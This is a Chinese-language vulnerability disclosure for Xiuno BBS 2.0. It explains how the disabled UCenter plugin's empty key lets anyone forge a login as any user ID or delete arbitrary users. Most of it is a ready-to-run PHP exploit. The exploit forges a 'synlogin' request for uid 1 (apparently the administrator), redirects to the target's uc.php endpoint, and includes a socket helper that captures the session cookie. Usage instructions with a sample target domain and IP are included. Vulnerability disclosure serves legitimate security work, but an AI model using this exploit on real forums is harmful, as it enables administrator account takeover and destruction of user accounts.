Xiuno BBS 2.0 前台认证授权绕过漏洞

文章目录

作者:ztz@Dis9Team
0×0 漏洞概述

xiuno实现了使用uc接口完成uc center登录的插件
xiuno默认没有启用uc插件
在不启用时,uc插件的key:uc_appkey为空,因此在不启用uc插件的时候,uc插件自带的加解密函数可以利用这个特性被绕过
uc用key解密传递进来的参数,其中解密后的action若等于synlogin,uid有效的话,将会使用该uid登录xiuno论坛的前台

 

0×1 代码解析

此版本为2.0

$code = core::gpc(‘code’ );
//将传入的code参数用key解密然后放入get数组中
parse_str(uc_authcode ($code, ‘DECODE’ , $ucconf[‘uc_appkey’]), $get);

$action = $get[‘action’];

//若action为synlogin,则用get数组中uid作为当前用户登录
elseif($action == ‘synlogin’ ) {

$uid = intval($get[ ‘uid’]);

$muser = new user();
$userdb = $muser->read($uid);
$muser->set_login_cookie($userdb);

exit(API_RETURN_SUCCEED);

}

//同时此处还有一个任意用户删除漏洞
elseif($action == ‘deleteuser’ ) {

$uids = $get[ ‘ids’];
$uids = str_replace( “‘”, ” , $uids);
$arr = explode( ‘,’, $uids);
$muser = new user();
foreach($arr as $uid) {
$uid = intval($uid);
$muser->xdelete($uid);
}

exit(API_RETURN_SUCCEED);

}

 

0×2 PoC

 

<?php
/*
* Xiuno bbs RC2 前台授权绕过漏洞exp
* Author: ztz@Dis9Team
* Mail: ztz5651483@gmail.com
* Blog: ztz.fuzzexp.org
* 使用说明:
* $_GET[‘target’]: 目标的域名
* $_GET[‘ip’]: 目标的ip
*
* 如:
* http://yoursite.com/xiuno.php?target=www.xiuno.com&ip=114.113.224.156
* 然后手动访问主页即可
*/

function uc_authcode($string, $operation = ‘DECODE’, $key = ”, $expiry = 0) {
$ckey_length = 4;

$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == ‘DECODE’ ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ”;

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == ‘DECODE’ ? base64_decode(substr($string, $ckey_length)) : sprintf(‘%010d’, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = ”;
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == ‘DECODE’) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) – time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return ”;
}
} else {
return $keyc.str_replace(‘=’, ”, base64_encode($result));
}
}

function send($request, $ip)
{
$result = ”;
$meta = parse_url($request);
$path = isset($meta[‘path’]) ? $meta[‘path’] : exit(‘path error’);
$host = isset($meta[‘host’]) ? $meta[‘host’] : exit(‘host error’);
$query = isset($meta[‘query’]) ? $meta[‘query’] : exit(‘query error’);

$packet = “GET $path?$query HTTP/1.1\r\n”;
$packet .= “User-Agent: Mozilla/5.0\r\n”;
$packet .= “Host: “.$ip.”\r\n”;
$packet .= “Connection: Close\r\n\r\n”;

$fp = fsockopen($ip, 80);
fputs($fp, $packet);

while(!feof($fp))
{
$result .= fgets($fp,4096);
}

if(strpos($result, ‘Set-Cookie’) > 0)
{
$begin = strpos($result, ‘Set-Cookie:’);
$end = strpos($result, “;”, $begin);
$cookie = substr($result, $begin + 11, $end – $begin – 11);

return $cookie;
}
}

$target = $_GET[‘target’];
$ip = $_GET[‘ip’];
$time = time();
$str = “time=$time&action=synlogin&uid=1″;
$en_str = uc_authcode($str, ‘ENCODE’, ”);
$request = “http://$target/plugin/ucenter/api/uc.php?code=”.urlencode($en_str);

header(“Location: $request”, true, 302);
?>

 

 

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